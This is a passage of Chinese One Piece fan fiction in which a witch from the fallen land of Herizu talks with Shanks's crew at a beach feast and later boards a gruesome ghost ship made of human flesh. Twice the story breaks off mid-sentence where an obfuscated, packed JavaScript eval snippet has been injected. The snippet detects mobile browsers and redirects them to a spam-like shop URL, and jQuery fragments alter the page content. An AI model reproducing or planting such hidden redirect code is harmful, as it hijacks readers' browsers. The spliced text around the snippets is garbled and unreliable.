“别见外,小姐,”额头带疤的医生转身对她笑笑,“你也可以直接叫我「本乡」,就像我们第一次见面那样,你刚才不也直接叫了莱姆的名字吗?”
“呃……”巫女一时有点语塞,她光从脸色判断不出面前的这位医生到底在想什么,至少他不像莱姆那么好懂。
“本乡……医生。”她看着坐在床边的男人,艰难地挤出几个字。
“好吧,没关系,以后还可以慢慢来。”本乡耸耸肩,勾了下嘴角。
“所以你有什么话要问我,本乡医生?”舷窗外嘈杂的人声更多了,她停顿了一会儿,继续说:“刚才急匆匆找借口把莱姆打发出去,也是为了继续之前的话吧?”
“这个嘛——一半一半吧。”本乡双手抄在运动服外衣兜里,除了运动外搭之外,里面一件上衣也没穿,胸膛肆意显露在外面,他本人倒是对此毫不在意,只是翘着腿坐在床边。
跟她刻板印象中的医生形象相比,她面前的这位医生显然做派非主流多了。
“我们现在是一条船上的伙伴,所以我很想多了解你一些,当然,要是你愿意的话,我们可以彼此说些自己的事,”本乡将视线转向她,“机会很难得,不是吗?”
“抱歉,医生。我想我没兴趣。”她说,“或者说,难道你的爱好就是对每一个新来的船员都这么「热情」地畅聊一番?”
“别这么讲,我倒还没殷勤到那种程度。”本乡依旧保持着笑意,“船上的一部分情报工作确实是我负责的,但我想了解你不完全是出于这个原因。”
“那是怎样?”她平静地说,“别告诉我你学医学腻了也想学点儿巫术。”
“我确实好奇,小姐——不过这事儿冒犯到你,我得先对你道个歉——你身上纹的那些咒语符号,跟赫里兹的巫术有关吗?”
听到他的话,巫女攥着被角的手僵住了一瞬。
是啊,她早就知道,心里也隐隐有过预感——从她醒来的那一刻——身上穿着的衣服就已经被完全更换过了。她身上各处纹的咒文,估计也被这位充满「好奇心」的医生探索过七七八八,医生又不是瞎子。
“得了吧医生!”她忽地挺直身子,手锤在被褥上,“冒犯?都到了这个份上,我总不能——哪怕我现在就想——在这里打你一顿泄愤!如果你想问那些跟赫里兹的巫术有没有关系,我可以告诉你:是的,有关。可赫里兹已经是个灭亡的国度,对它究竟还有什么好奇的必要?你对赫里兹知道多少?对我又了解多少?”
“那里的确是一片灭亡的国土,但很多人都对那里好奇。”本乡坐得离她很近,两人的手几乎要碰到一起,“包括我们船长——我们之后的目标就是那里,赫里兹王留下的遗产。”
“那老家伙留下的东西恐怕要让你们吃苦头了。”巫女哼了一声。
“光这些话可说服不了我们头儿,”本乡笑了笑,继续说:“你刚才问我了解过多少,很多——但不完全。所以我更想听你说。”
“你期待我说什么呢?医生。”她的语气带着些无奈,“说一些连附近海域里挂着鼻涕的七岁小孩儿都知道的事情吗?——赫里兹会灭亡是因为一位疯狂的巫女变成了长着三只眼睛的庞大妖怪,把国王和民众全都吞进肚子里了。”
“跟我打听到的版本大差不差,”本乡看了眼舷窗外,那帮家伙在沙滩上连烧烤架和食材都准备好了,而后又扭头看回她,“我听说的版本是变成怪物之后对整个国土施加了诅咒,而后离开了那里。”
“真精彩。那头怪物是不是之后还跑到了一个叫雷德弗斯的海贼船上,现在正躺在医务室的某张病床上呢?”
“别开玩笑了,小姐,虽然你确实是赫里兹的巫女,那些乱七八糟的传闻也一个比一个离谱,但至少我并不觉得你是——”
“我是什么?又不是什么?”从那一刻,她的声音开始颤抖起来,变得无助而动摇,“医生,如果我说,那些传闻里有一些是真的呢?”
“有时连我自己都搞不清楚,我到底算是什么?我更不知道要怎么讲给你听。”她的双手不自觉攥紧了被角。
“我想要相信自己是个正常人,”她缓缓开口,“我被刀割的时候会觉得疼,被火燎过会留疤,每个月那几天会流血,酒喝多了会头痛,开心时会大笑,难过时想哭——可是、”
“可是、可是又有哪个正常人会——”她情绪异常激动地拽着本乡敞开的领口,看着他的眼睛,急切地质问他,似乎想要寻找一个根本性的答案,“会变成那种样子……施下那种诅咒……然后……然后……”
她越来越说不下去了,曾经发生过的一切像刺一样哽住她的喉咙,她痛苦地低下头,眼泪随之滚落:“医生,你告诉我——”
“我到底是什么?”
————————————————
“稀客啊,海鸥小姐。”斯内克把眼镜摘下来,揉揉眼角,制图室里静悄悄的,多数人都下船准备宴会去了。
“你们之后真的要去那个地方吗?”巫女随意找了处地方坐下,她靠着书柜,看上去没什么精神。
“当然去,这是头儿的决定,他想去哪儿,我就带他去。”
“真尽职,蛇先生。”她语气平淡,从自己兜里掏出一个小巧的制品,塞到斯内克手里。
“永久指针?是哪儿的?”
斯内克打量着手里用木制围框固定的玻璃球,指针在其中微微地旋动着。
“赫里兹。”
“你从哪儿拿到的这个?”
“一直都有。那地方是我老家。”
“是你家乡?……那个国家,曾经发生过一些不幸的事情。”斯内克看着面前的女孩,继续道:“你一个人从赫里兹一路到这里,很不容易吧。那附近的海域如今也不太平。”
她偏过头去看着舷窗外:“现在托你们船长的福,我又要回去了。命运还真是从不放过任何人。斯内克先生,那颗指针你就留着吧,希望你真的像蛇一样灵活地躲过路上的风雨。”
“等等,”斯内克喊住即将转身离开的巫女,他真希望能有个除了「海鸥」之外的名字称呼她,“晚上开宴会,海滩上会很热闹——我的意思是说,要是你身体好些了,就一起来吧。”
“我知道了,谢谢。”
她从身后关上了门,而后长长地叹了一口气,现在她最重要的任务,是像蛇一样灵活地躲过那位红发船长和他的宴会。
首先,她得想想,先躲去……
“嘿,你在这儿啊!”
“哇啊啊啊!”猛然从身旁探出的红脑袋差点儿没把她心脏吓出来。
什么时候过来的?她怎么一点都没察觉?
“我正找你呢!海星,幸好找到了,宴会马上就开始,可不能少了你。”
“等——等等、等会儿、”
她还没来得及决定究竟是先解释自己不叫海星,还是先设法拒绝他宴会的邀请。香克斯已经揽过她的肩膀,不由分说地将她的身体向前带。
“来吧来吧!”他眨眨眼睛,“要是你错过了路的料理和宾治猛士达的歌,那简直比做海贼错过了大秘宝还要遗憾。”
————————————————
“呦!小白也来了!”
“海星,身体好多了没?”
“海鸥!来、来坐这儿。这有地方!”
“这不是咱们玩魔术的小姐吗?来、给咱们也展示一个!”
巫女被突如其来的大嗓门吓得缩了缩身子,默默地跟在香克斯身后,来到这些海贼餐宴的聚集地,群岛的东屿。眼前状貌各异的海贼一个个大声豪气地跟她招呼。
她现在无比后悔几天前自己为什么要对不同的人随口编出那么多怪名字。报应来得太快了点。
远方墨蓝的海平面与夜空已不再有任何分别,月亮撒下碎银似的光辉。海滩上大小篝火环绕排开,干海草在火舌里噼啪作响,火星子冲天而起,热气迎面而来。
因敌袭而姗姗来迟两天的宴会似乎终于让这群人无处安置的热情有了归属。有人拉她唱歌,有人喊她喝酒,更多人起哄让她当众表演一下那些神奇的「魔术」把戏。
其中一些人推挽着她去到篝火旁,学着他们老大的样子揽过她的肩膀——自来熟的动作就好像已经认识了她至少十年以上似的。
这里的一切让她感到惶恐,她甚至不知道上一个拍她肩膀、跟她搭话的人叫什么名字,下一个就紧跟着来了。
她不知道这时候该应付些什么话,或者干脆什么也不说更好,甚至不知道手该放哪里,她的手脚像是不属于她了一样,只是各自僵硬地做出动作。最后,她只能勉强扯出一个生硬的笑容以示礼貌。
她身前的香克斯则与她的呆板全然相反,这家伙不愧是热络氛围、活跃社群的社交能手,能言善道地接过话头,又顺畅疏朗地把话茬儿还给对方。他经过的地方,总是能点燃那一撮人最纯粹的热情。
搞不好他的头发是一种真的火焰,能把人心都点燃的那种,她跟在香克斯身后注视着他在篝火之间的背影,呆呆地想着。
各色海贼挤在夜晚的火光里,金银的耳环戒指和金属刀柄在火光下晃得刺眼。首轮庆酒开始之后,宴会的气氛每一分钟都更加热烈。
有人直接抱着半人高的橡木酒桶,仰着脖子面红耳赤地猛灌朗姆酒,酒液顺着脖颈淌进衣襟也浑然不觉,那些空酒桶被随手一掼,震出三五人群的几声狂笑。
她趁着祝酒稍微溜远了一些,除了在特定的仪式上,平常她不太喝酒,在这里喝醉也尤其危险。
穿过那些形形色色的面容和朦胧晃动的人影,她看到了一个相对熟悉的人,莱姆在那,在热烈的火光前依旧带着那副墨镜,金发披散下来。
她隔着篝火幢幢的光影朝他抬手打了个招呼。
“好小子,什么时候跟人家姑娘混熟的?老实交代。”坐在莱姆琼斯身边的耶稣布用鞋踢了一下莱姆坐的木箱,跟他打趣。
“哼哼。”莱姆笑而不答,只是故作神秘地噙起嘴角。
“还「哼哼」上了?你小子卖什么酷!”耶稣布刻意模仿了他「哼哼」的样子,用胳膊肘拐了一下对方。
莱姆隔着篝火回应了她的招呼,她现在就坐在离他不远的地方,大概隔着几个酒桶和餐盘的距离。
“她可是很强的,当时用船上的一根拖把杆就……”
拖把杆儿?!她忽然后背发麻,她听到了什么?她发誓,这个词绝对是她年度最不想听到的词其中之一。好像有人在不远处热烈地谈论什么关于拖把杆儿的话题。
“一根拖把杆儿就干翻了两个能力者!”
是莱姆!这句话她倒是听清了,因为声音很大。
她木愣愣地转过头,甚至连转头的幅度都不敢太大。
“「对付你们根本用不着四皇,用四皇船上的拖把杆儿就行了」,她就直接这样说的,怎么样,够酷的吧!”
别讲了,莱姆别讲了!
她想干脆冲上去捂住他的嘴——但那是不可能的——莱姆坐的那边人太多了,她不敢去。
于是她只能挤眉弄眼地朝他暗示,让他别再说了,她好不容易苟在一旁努力缩小存在感,降低任何可能的社交机会。
但莱姆显然没能会到她意,他甚至——哪怕隔着墨镜她也能看清晰——递给了她一个充满鼓励和肯定的眼神。
另一些海贼对拖把杆儿事迹发出一阵感慨,将视线纷纷投向她的方向:“卧槽这么牛逼!怎么看不出来这小妞——”
“注意点儿用词,”他们的用语被大副适时打断了,“有女士在场。”贝克曼说着又开了瓶酒。
干脆再换个更远的位置好了。她一边想,一边低头假装在忙着剥龙虾的壳。
盘里的各类食物在宴会开始后不久大多被一扫而光。这时宾治开始拨弄起了弦乐,另一旁的猛士达则用打击乐配合节奏。路在这两人对面踩着节拍源源不断地料理着各色食材。香克斯带头对着各类烤兽肉、鱼、炒饭和扇贝大嚼特嚼——他先前已经喝过了一轮,总得吃点什么填填肚子。
于是咸腥的海风便裹着朗姆酒烈得呛人的味道、烤海鱼焦脆的脂香、以及整只烤兽肉滋滋啦啦热得流油的膻香,混杂着汗水与烟草的粗粝气息,使宴席上的氛围更加热络。
她低头尝试抿了一口酒,又苦辣又酸涩,味道呛人地上头,这玩意他们到底是怎么成桶成桶往嘴里灌的?
就在不远处,香克斯开始跟拉基路坐一块吵吵闹闹地拼酒了,周围的人向他们起哄,两个人以桶为单位开始灌。
老天,这么喝不怕得肝硬化吗?
她又转眼看看旁边,副船长盯着拼酒作乐的伙计们,手里的烟一根接一根就没停过。
老天,这么抽不怕得肺结节吗?
她听天由命地叹口气,放空地盯着眼前的一片篝火。
哪怕宴会的大部分时间都令人局促不安,但至少食物确实好吃得没话说。路还额外给她做了甜点,她专心低头干饭,打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261289|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
算吃饱了就找机会撤。
“为自由和胜利干杯!”
围在内圈篝火的海贼们大吼着,掀起了新一轮祝酒和喧闹的浪潮。
伴随着声浪臻至巅峰,宾治和猛士达的音乐也更加热烈,随着一声出奇振奋和抑扬顿挫的前调铺垫,海贼们开始纷纷和起歌词,各自抄起手边的东西——无论是银勺还是大骨头棒子——在海滩上打起节拍。
就在这个时候,有个人直接走来坐在了她的身边。她谨慎而不安地用余光探了一眼——是副船长,他游刃有余地坐在她身边并动作娴熟地启了瓶酒倒在杯里,就像那本来就是他的座位一样。
“喝这个吧——水果酒,没那么烈。”
她先是看着递过来的酒杯,又抬头看了看贝克曼——后者灰白的头发被鲜艳的火光染红了一些。
于是她接过了那杯酒,低头稍微抿了一口,味道确实没那么呛了。
“谢谢。”
远处的声浪被重新掀起,歌词和调子愈加狂放粗粝起来,其中一个海贼扯着破锣似的嗓子喊唱,另一群人便跟着和,吼声震得海浪都矮了三分。
那些歌词她听不太清晰,大概是在唱什么什么的美酒,鬼知道这帮醉鬼在唱什么。
“现在的吵闹程度够我们简单聊几句了。”她听见身边的贝克曼对她说话。
“和我?”她有点诧异,“你确定吗?副船长,我可不算是个有趣的聊天对象。”
“那也要聊一聊才能知道。”贝克曼侧过脸朝向她,火光的另一半阴影罩在他脸上,这让她分辨不清楚他的表情。
“好吧。你想聊什么?副船长。”
“一般而言是从自我介绍开始,不过我想你对这个目前还没什么兴趣,对吧?”
“是的。要是我对这个有兴趣,现在也不至于一会儿被叫「海星」、一会儿被叫「海鸥」、一会儿又被叫「小白」了。”
贝克曼听到那些称呼笑了笑,而后继续道:“在我们即将要去的那个地方——赫里兹,有很多关于「巫女」的传说,以及大大小小的传闻,其中也包括名字。”
她听到赫里兹这三个字的时候明显愣了一下,而后很快恢复常态,等着听他接下来的话。
“我以为你会叫「塞迪亚」,还是我猜错了?”
她听到贝克曼提到那个名字的时候,心惊得漏掉几拍。尽管那不是她的名字,她依旧难掩紧张的反应,海贼的情报网络已经发达到这种程度了吗。
“猜错了。我敬爱的副船长。”她又抿了一口酒,努力压压心惊,“「塞迪亚」不过是一个职位的名字,就像没人会给自己的小孩直接起名叫「船长」或者「副船长」的。”
“拜托你,”她继续对贝克曼说,“就别对这个好奇了,好吗?就像敬爱的船长一样,直接管我叫「海星」得了。”
“那肯定是一颗很漂亮的海星了。”他说。暖色的火光就映照在他灰色的眼睛里。
酒气在蒸腾。香克斯和路的拼酒已经来到了最后一轮,引起围观海贼的一阵热烈喝彩。
“他那样喝真的不要紧吗?”巫女意有所指地看向香克斯。
“今天就随他高兴吧。”
不知是不是她的错觉,她觉得今天身旁这位大副的笑容似乎比平时稍微多了些。
“谁知道你们船长还有两幅面孔,”她耸耸肩,“之前在帕帕哈瑙的时候,他厉害得让我以为差点儿就要被他杀了,结果今天转头就跟同伴勾肩搭背地喝成傻子。”
“那也算是我们头儿的特点之一。”贝克曼跟她碰了碰杯子,“时间长了就会适应了。”
“说到在帕帕哈瑙,”她像突然想起了什么似的,“你们那个时候为什么会知道我在森林里的位置?”
“是「见闻色霸气」。有的能感知位置,有的能预见未来。之前你也许听说过类似的。”
“哦,你们管那种能力叫做「见闻色」,是吗?真新鲜,在我们那儿,它被多数人叫做另一个名字。”
“是什么?”
她低头笑笑,盯着自己的酒杯,酒液在火光中闪闪发亮:“在神殿里,它被叫做「女神的恩赐」,在神殿外,它被叫做「你是不是太敏感了」”
“我想,”贝克曼笑着说,“要是谁说你是个无趣的聊天对象,那他肯定是喝酒喝糊涂了。”
“老天,别夸我了,副船长,我差点儿以为那是真的。”
两个人又碰了碰杯,但她每次都只抿一口,她不想喝醉。
“再喝点吧。”她听到贝克曼劝诱她的声音,被背景噪杂的人声衬得很低,“这是好酒。”
“不了,副船长。我喝醉之后就会忘事。要是你想问我什么,万一我醉了就答不上来了。”
“我现在问你就会告诉我吗?”
一批人陆陆续续地醉倒在沙滩上,横七竖八地卧在彼此身上,嘴里仍旧咕哝着些难以分辨的唱词曲调。酒精在减少,但宴会的热度却不曾下降半分。
“那要看了。说不准会。”
她同样转过头注视着贝克曼,两人的目光触碰到一起。
篝火的红光笼在二人身上。身后,恒久的涛声依旧周而复始地冲刷海岸,海浪被宴会漫天的喧闹盖得只剩隐约的底音。
贝克曼坐得离她更近了些,两个人几乎挨在一起,他的手臂从身后渐渐抚上她的腰侧。不属于她的温度攀上她的身体。
他俯身在她耳边轻轻耳语了几句。
她听到那些话,并没觉得意外。
“问我这个,你确定吗?”
她反问贝克曼,然而后者只是看着她,似乎在等她的答复。
远处,香克斯终于饮尽了碗里的最后一滴酒,他和路的拼酒也不知最终是谁赢了,笑语和哄闹一味沸腾着。
“给我时间让我想想吧,副船长。”
“没关系。”
她抬起头望向远处墨蓝色的夜空,在海滩的笑骂声、歌声以及碗碟和乐器的碰撞声之外,雷德弗斯的红色龙形船头静静地在海浪上伫立着。
她呆呆地望着那座厉色正颜的龙头造型,这次,再也没有一条红龙突然钻出来说话,或者打滚,或者突然吐出一颗四个蛋黄的蛋然后说这是四皇。
“嘿呀,别光跟贝克碰杯嘛。”
香克斯不知何时又钻到了她身边,她堪堪从发呆中回过神来,红发的船长已经勾过了她的肩膀。
“也跟我干一杯吧,来、为你的胜利干杯!”
他已喝得酒酣耳热,胡茬上仍沾着酒沫。
这惊涛骇浪里的亡命之徒,带着同样一群狂放不羁的漂泊者,纵情此时此刻的快活,在这个无人入眠的夜晚。
她叹了口气,同样端起酒杯。
“为你的健康干杯,船长。”
19. 人皮船(一)
“你看见那玩意儿了吗?”
“看见了,老兄,这里长眼睛的人全都看见了。”
一群水手围在雷德弗斯的船舷边,视线全部看向海面不远处摇摇晃晃的一艘三桅帆船。
天气阴沉得可怕,自从起航到这片海域,数天以来,阳光已变成了一件稀罕物。
“看见了就别油嘴滑舌的,去告诉咱们头儿——告诉他我们找到那东西了,或者那东西终于找上我们了。”
————————————————
“终于来了吗。”香克斯把手摁在格里芬的刀柄上,甲板上浓重的雾让他的披风沾上了湿气。
“不枉咱们在这片海域转悠这么久,可算是遇上了。”斯内克举起望远镜,观察着那艘尾随在雷德弗斯身后的船只。
船只——斯内克迟疑片刻——如果那东西还能被称得上是“船只”的话。
“人皮船”——这是往来这条航线的渔夫、海盗或者商人给它起的名字。它只在阴沉的雾天出现,并偶尔尾随路过的船只,没人知道这艘幽灵一样的船到底想干什么,它既不攻击,也不交流,只在阴沉的雾天沉默地徘徊在其他船只的身后。
“见鬼。”耶稣布骂道,“你们猜那船上有什么?”两船的间距以他的眼力和感知哪怕不用望远镜也能够看得一清二楚,他头一次后悔自己眼力这么好。
——船体外立面是由多张人皮鞣制的,不知那是何种工艺,皮肤青绿的颜色和横纵交织的纹路仍旧依稀可见。船舷围栏由粗大的腿骨铆接,关节随着海浪摇晃咯吱作响。而那些灰白的船帆上——如果那还称得上是船帆的话——表面布满了密密麻麻的头皮和毛发。
“上面一个活人也没有,但那艘船全是人的血肉和骨头。”耶稣布皱紧着眉头,他不去看了,为了保护眼睛:
“咱们要找的东西真在上边儿吗?”
“通向「赫里兹遗产」的钥匙就藏在那里面某个地方,”贝克曼展开手中的图册,用另一只手揉揉眉心,“要是情报没错的话,以前也有人登上去过,但都没取回来。”
说罢,他将视线转向香克斯,后者一语不发地打量着那艘船,手仍搭在格里芬上,拇指轻轻摩挲着刀柄。
“我们带几个人上去吧,贝克,”良久,香克斯终于开口,“去会会那东西。”
“带着她吗?”贝克曼意有所指地问。
“暂时不。”香克斯转过头时,视线温和了许多,“我总有种预感,那艘船上还有很多令人不悦的东西。”
————————————————
乌鸦在雷德弗斯的瞭望台上不安地嘶叫了两声。
“外面怎么了?”
“医生,你也出来了,水手都聚在甲板那儿呢。”嘎布看着从楼梯后探出身子的巫女解释道,尽管经过上次的谈话,他还是决定管她叫医生。
“头儿他们打算带几个人上去那艘怪船上瞧瞧。”嘎布远远地看着那艘船的船帆,打了个寒战,“那一定是艘幽灵船,看着真让人不舒服,也许上面还有幽灵。”
巫女没说话,只是良久地注视那艘船在白雾中的影子。
“医生,你还好吗,你看起来脸色不太……”
嘎布担心地询问她,他注意到她拧着眉毛,神情阴翳地注视着那艘船。
“我也上去一趟。”
她的身体先于声音做出了行动,瘦小的身影就这样挤进甲板接舷处一群高大水手的人群中。
“等等、医生——”
————————————————
“你怎么也跟来了?”巫女提着手里的木棍——本乡给她重新做了一把,这把棍子的质地和做工都相当不错,作为巫杖能用好长时间了。
“我记得你好像不喜欢幽灵这些东西。”
“我总不放心让你一个人到这种地方来,”嘎布说,他跟着巫女一脚踏上了「人皮船」的甲板,就连甲板都是由血红的骨肉嵌合成的,踩上去软腻腻黏糊糊的,传来活物特有的温热感,“老天,这地方太糟糕了。”
“嘎布,”巫女抬头叫他的名字,他实在长得太高了,“要是太勉强的话,就——”
“不不不、无论如何,我也算是船上的战斗员。至于幽、”他发现自己连那两个字都不想开口,但还是硬着头皮说了,“幽、幽灵什么的,只要我不相信,它就伤害不到我。”
倒是一番豪气的宣言,但他略显游移的目光和牙齿打战的声音给这番声明稍微打了些折扣。
“那就走吧。”巫女拍拍他的胳膊,“船长他们应该在底下船舱里找东西呢,咱们跟上去。”
这里的一切还和她离开时一样。
巫女环顾四周。由指骨和筋腱连接而成的船舵,滴滴答答浮着一层红红黄黄的脂肪,几根青紫的神经血管从甲板缝里钻出,沿着桅杆蜿蜒而上。帆布上细密的毛发紧贴在残破的帆膜上,空气里荡着一股腥臭阴冷的血气。
一切都一模一样。令人厌恶地一样。
“这艘船就像一个活着的东西。”嘎布拨开船舱隔断的帘子,他伸手时才发现,那不是什么帘子,而是许多人的头发粗糙拼接在一起。
“这里以前也是一艘海盗船。不过后来……”巫女缓缓开口,在通向甲板下的楼梯前突然停下了脚步。
“怎么了,医生?”
巫女把食指比在嘴前,示意他噤声,而后指了指楼梯下的空间。
楼梯下的空间——嘎布顺着她手指的方向看去,那里光线昏暗,黑暗中却似乎有什么东西在涌动。
等他看清一切时,已经晚了。
他几乎是下意识地张嘴,向黑暗中不断扭动的那群白色身影发出怒吼的声波——声波震得门板沙沙作响,但对于楼梯下潜藏的白色身影来说却没有任何作用。
“冷静点!停下来、嘎布你冷静点!别再——”巫女想把他从楼梯口拽走,但同样也没有任何作用,她的力气不够。
“医生、那些是什么东西,那、那是……”他睁大眼睛再次看向楼梯下方的空间——一整个大厅就像是人或某种动物的内脏,墙壁和地板上尽是紧密蠕动的肉块,由粘稠的白色丝线和红色经络串联起来,墙壁像在呼吸一样微微鼓动着。
“那是、那是鬼吗?医生,那些白色的东西……”
“好了,冷静点,嘎布。深呼吸,好吗?”她轻声地安慰道,“那些白色的影子是——专业地来讲——是人的灵魂。”
白色的亡灵在船的内脏里现身了。白色身影的形状微微抽动着,被楼梯口的声音吸引,越聚越多。
“它们来了。”
“医生,你靠后。至少让我、我来、”那些密集攒动、逐渐逼近的身影让嘎布的话逐渐语无伦次,他仍旧把巫女挡在身后,他觉得他有必要保护自己的朋友,哪怕是这个时候。
『鬼怪只会伤害到相信他们存在的人』这是嘎布很久之前听过的一句话,但他从未验证过这话的真假,因为他向来对鬼怪避之不及。
可此时此刻,他只能依靠这句话。
“我不信你们、我不信!”他向白色的亡灵咆哮着,意图发动第二次攻击。
“可以了!嘎布,可以了,专业的事就让专业的人来干吧。”这一次,巫女及时地拽住了他的衣服。
她踮着脚使劲拽住他的上衣,迫使他低头看向自己:“你听我说,嘎布,看着我,先听我说,不要去想一只白色的熊。”
“白色的熊?”大个子弓着背,稍显得有些手足无措。
“对,不要去想一只白色的熊。我说完这句话之后,你想到什么?”
“我想到……”他的声音犹豫起来,“我想到白色的熊。”
“就是这样。你越是暗示自己不要去想的事情,心里反而越是会想到。我知道,你是想践行『鬼怪只会伤害到相信他们存在的人』那句话对吧。”
她的目光灼灼,始终看着他:“那句话是对的。但是——你越是告诉自己不要相信,其实你的内心深处就越是相信。承认吧,嘎布,如果你完全不相信鬼怪,你也就不会害怕它们了。”
“可我现在不能……医生,我不能退缩。你告诉我我应该怎么办,我应该——”
他情绪激动,很大声地喘着气。
白色的亡灵从楼梯口漂浮着逼近了,它们憔悴而狰狞的面容从黑暗中一点点浮现出来。
“害怕也没关系,这没什么可耻的!”她揪紧他的衣服,很大声地喊道,“去相信吧!嘎布,相信鬼怪的存在,相信它们,不然你没法解释眼前看到的东西。但是——!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261290|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“但是也请你相信我!”她继续道,“相信我会保护好你,相信我不会让它们中的任何一个伤害到你。”
“医生……”嘎布看到她那双坚定的眼睛。
“我需要你做一件事。”巫女的声音沉静下来,似乎带着一种抚平内心的力量,“亡灵之所以聚集到这里,大概是因为这周围的船舱里有镜子一类的东西,我需要你,嘎布,你听好,我的力气不够,我需要你去打破那些镜子、玻璃,金属,还有一切能反光的东西,如果遇到能反光的水面就用黑布盖上。”
“然后——在此期间,那些亡灵就交给我来控制,”她攥紧了手中的巫杖,“那是我专业的事情,我绝对不会让它们伤害到你。懂了吗?”
“好……懂了!”嘎布大声地回答。要去相信……他觉得自己的身体中有一种力量。
他即刻向楼梯下方冲去,几乎就在同一瞬间,巫女举起了手中的杖。这次她并没有念诵任何咒语,但却有一种无形的力量,迫使台阶下的亡灵默契地为冲下楼梯的大个子让出一条完整的通路。
这是他距离鬼魂最近的一次,也是他人生头一次主动奔向鬼魂的方向。在狭窄的台阶上,他们之间的距离不过半米,嘎布与那些灵魂擦肩而过,他感到船舱内体感的温度瞬间冷却了很多,就像投身冰窖一样。
“镜子、镜子、”他焦急地左右探视,寻找一切可能反光的东西。
船舱的角落里,有一面大的落地镜,镜框上嵌着铜质的精美花纹,镜面已经严重磨损,不过仍能反射出晦暗的光。
他毫不犹豫一拳击碎了那面镜子,立马回头看看巫女的方向,那些亡灵仍未消散,还在围绕着她。
这里还有别的镜子,或者反光。他急匆匆地四处寻找,打破反光的玻璃酒瓶,掰折生锈的金属餐具,就连门板上镶嵌的玻璃装饰也没有放过。
不够、不够,还是不够。
环绕着她的亡灵越来越多了,那些白色的身影几乎要将她完全盖住。
到底还有哪里会反光。他焦躁地四处环视,前后左右,乃至地面都检查过了,到底还剩——头顶?
他仰头去看,棚顶很高,在血肉构成的棚顶之上,睁着一只布满红丝的、活生生的巨大眼球。
眼球……他已经无心顾及为什么眼球会在棚顶,在这个诡异的船上,似乎什么都可能会发生。
眼球——是不是也会反光?
————————————————
她听到一声清脆的、血肉爆裂开来的声响。
环绕在她四旁的那些白色身影随之消散了。
她一下子卸了力,双手撑在膝盖上。
“医生——医生、你还好吧。”
她还未来得及查看发生了什么,就听到嘎布由远及近的声音。
“嘎布,”看到来者,她的视线从恍惚中渐渐稳定下来,“你做到了!了不起嘛!干得太棒了!这种时候都能克服心里的恐惧。”
她使劲拍拍他的胳膊表示鼓励。
“医生,你——你流血了、”
“啊?”
胜利的余裕未持续很长时间,嘎布看到鲜血从她口鼻中涌出,他慌乱地摸索寻找随身能够止血的东西,被巫女阻止了。
“不要紧。别慌张。”她语气平静,用衣袖简单抹掉了血,“同时控制那么多灵魂,压力稍微有点大。过会儿就好了。”
“这样不行,还是回船上去找本乡吧。”嘎布蹲下身,担忧地望着她,那些血顺着下颌滴到了她的领口。
“医生,我、我必须要谢谢你,要是没有你,我做不到刚才那些的。”他用手轻轻搭上了她的肩膀,“所以,拜托了,我不想让你出事。先回去吧,去找本乡,只要这艘船一直在这儿,可以之后再来。”
巫女抬头望着他,沉默了良久,而后妥协地叹了口气。
“好吧。那就先回去。”
“好!”嘎布高兴地点点头,转身去打开身后紧闭的舱门,那道通往外部的门不知何时被关闭了,他撞开门费了些力气。
“医生,我们走吧、出去就——”
巫女并没有回应他。于是嘎布转过身。
“医生?”
她的身影消失了,只留下一片空荡荡的、令人不安的船舱。
20. 人皮船(二)
她最先感知到的是黑暗。
而后是一股潮湿腐败的气息。再紧接着,四周墙壁的煤油灯一个接着一个亮起,她发现自己正身处船舱内的另一个空间。
她打量四周,空无一人,只有木制的墙壁和猩红的骨肉混在一起,船体结构从内部改变了。
好吧。看来这艘「人皮船」的主人想单独见见她。
船舱另一端的尽头,隐约传来了滴滴答答仿佛血肉糜烂的响声,伴随着什么东西在地上拖拽的声音,以及一阵沉闷而急促的喘气。
她站立在原地不动,没有后退。
那声音离她越来越近、越来越近,直到她能在昏暗的煤油灯下看清来者的面容。
一个男人在地上拖拽着身体趴行——只有半个身子,他的下半身几乎看不出形状,似乎也没有骨头支撑,瘫软的肉块上只是长满了粗短而抽搐不止的尖刺,那些尖刺与地面和墙壁相连接。
那男人沙哑着嗓子开口了,他说话时,满头杂乱纠结的毛发和凌乱的长胡子也随之颤抖:
“解开……给我解开……”
巫女看到他,忽而怒从心起,她几步上前,朝那男人的脑袋踢了一脚,而后抓起他纠结成块的头发,恶狠狠地对他说:
“你到底有完没完?想跟我到什么时候?你觉得我留给你的教训不够吗?”
————————————————
贝克曼刚下到这艘怪船的船舱时候,就听到身后有一阵沙沙的响声。
他和他的其余同伴是分开行动的,每个人各自负责搜查这艘船的一部分。
他独自站在舱内的连廊上,身后的那道声音越来越近,听起来就像有人拖着身体在地上爬行一样。
于是他沉默着停下脚步,扳起枪的燧石击锤,将黑洞洞的枪口指向那片黑暗。将要扣动扳机的片刻,他听到了一道嘶哑的声音。
“别开枪……伙计、放过我吧,我是为了和平而来的。”
一个头发和胡子蓬乱得如同鸟巢的男人拖着下半身爬了过来。那个男人下半身的骨头像是被抽走了一样,下肢布满了骇人而怵目惊心的灰色尖刺。
贝克曼未置一词,燧发枪仍旧对准着来者。
“我认得你,伙计,我认得你,”地下的男人抬头看他,又看看他举着的那把枪,“本·贝克曼,对不对?你是红发海贼团的,对不对?你们恶名远扬到连我老家的姑妈都知道,甚至拿来吓唬不听话的小孩子。”
